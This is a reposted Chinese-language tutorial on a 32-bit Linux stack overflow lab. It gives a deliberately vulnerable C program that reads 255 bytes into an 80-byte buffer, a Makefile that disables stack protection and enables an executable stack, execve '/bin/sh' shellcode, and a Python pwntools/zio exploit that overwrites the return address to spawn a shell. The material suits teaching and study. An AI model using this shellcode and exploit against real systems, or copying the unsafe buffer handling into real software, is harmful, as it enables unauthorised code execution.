Linux环境下栈溢出实验(二) shellcode

简介 :

栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。当溢出缓冲区之后 , 如果继续写入数据就有可能将内存中的重要数据覆盖 , 对程序甚至系统造成严重的影响 。骇客也会利用栈溢出来进行权限的提升等等非法操作 , 骇客可以通过编写 shellcode 并改变程序流程执行自己编写的 shellcode 从而达到任意代码执行的目的

环境 :

1. ubuntu 14.10 32位
2. gcc 4.85

视频演示 :

栈溢出实验(二) (在线观看)
栈溢出实验(二)[代码] (下载)

代码 :

hello.c

#include <stdio.h>
#include <unistd.h>

// 可以看到 , 相比于实验一 , 这次我们的代码少了 bingo 函数
// 但是我们最后达到的效果还是得到 宿主机 的 shell
// 那么我们应该怎么做呢 , 这里需要用到一种机制 : 栈内存代码执行漏洞
// 我们先来分析一下代码
int main(){
    char buffer[0x50] = {0}; // 定义一个 0x50 = 80 个字节的字符数组 , 并全部初始化为 0 
    /*
     * 这次的程序和上次实验室相比 : 
     *      1. 缺少了 bingo 函数
     *      2. 定义的 buffer 数组长度变大
     *      3. 使用 printf 函数将 buffer 数组的首地址打印出来了
     *  这三个条件就是这次我们能溢出成功的保证
     *  这次我们的思路是这样的
     *  既然这次程序并没有给我们给出一个可以执行 /bin/sh 的 bingo 函数
     *  那么我们就需要自己用汇编语言编写一个调用 /bin/sh 的程序 , 将这个程序汇编以后得到的机器码(注意必须得是相同平台 , 否则机器码不会正常执行)通过 read 函数写入到内存中
     *  然后由于 read 函数并不检查 buffer 数组的边界
     *  因此我们还是可以溢出来覆盖掉 main 函数的返回地址
     *  因此我们就需要将机器码先写入到 buffer 中 , 然后再填充一些无用的字符直到 main 的返回地址处 , 当程序执行到这里的时候 , 为了能让我们用汇编编译的机器码成功执行 , 我们就需要让汇编机器码的地址覆盖 main 的返回地址
     *  这就需要我们获取 buffer 的首地址 , 计算机器码的偏移(当然 , 如果汇编机器码是从 buffer 的第一个字节开始写入内存的话 , 那么偏移就是 0 , 那么地址就是 buffer 的首地址 , 事实上 , 机器码要越短小精悍越好 , 因为 buffer 的长度可能并不足以储存机器码 , 也就是说 buffer 的地址是非常宝贵的 , 因此最好从 buffer 的首字节开始写入) , 然后将机器码的首地址覆盖到 main 的返回地址 , 然后就可以成功执行 可以运行/bin/sh的机器码
     *  这样我们就成功获取到了目标机器的 shell
     */
    printf("&buffer = %p\n", &buffer); // 打印字符数组在内存(栈段)中的地址
    fflush(stdout); // 刷新缓冲区
    read(0, buffer, 0xFF); // 使用 read 函数将缓冲区中的 0xFF 字节长度的数据读取到 buffer 数组中 , 以换行符结束
    printf("Content of buffer : %s\n", buffer); // 打印 buffer 的值
    return 0; // 主函数返回
}

Makefile

a.out:hello.c
    gcc -g -fno-stack-protector -z execstack hello.c
clean:
    rm ./a.out

shellcode.asm

push 0BH
pop eax
cdq
push edx
push dword ptr 68732F2FH
push dword ptr 6E69622FH
mov ebx, esp
xor ecx, ecx
int 80H

exploit.py

#!/usr/bin/env python
# encoding:utf-8

from zio import *
import pwn
from binascii import *

shellcode = ""
shellcode += pwn.asm("push 0x0B")
shellcode += pwn.asm("pop eax")
shellcode += pwn.asm("cdq")
shellcode += pwn.asm("push edx")
shellcode += pwn.asm("push dword ptr 0x68732F2F")
shellcode += pwn.asm("push dword ptr 0x6E69622F")
shellcode += pwn.asm("mov ebx, esp")
shellcode += pwn.asm("xor ecx, ecx")
shellcode += pwn.asm("int 0x80")

print b2a_hex(shellcode)
offset = (0xbffff59c - 0xbffff540)
Io = zio("./a.out")
Io.read_until("&buffer = ")
address = int(Io.read_line()[2:-1], 16)
print address
payload = shellcode + "A" * (offset - len(shellcode)) + l32(address)
print b2a_hex(payload)

Io.write(payload)
Io.interact()
    原文作者:王一航
    原文地址: https://www.jianshu.com/p/c77ae2aa40a9
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞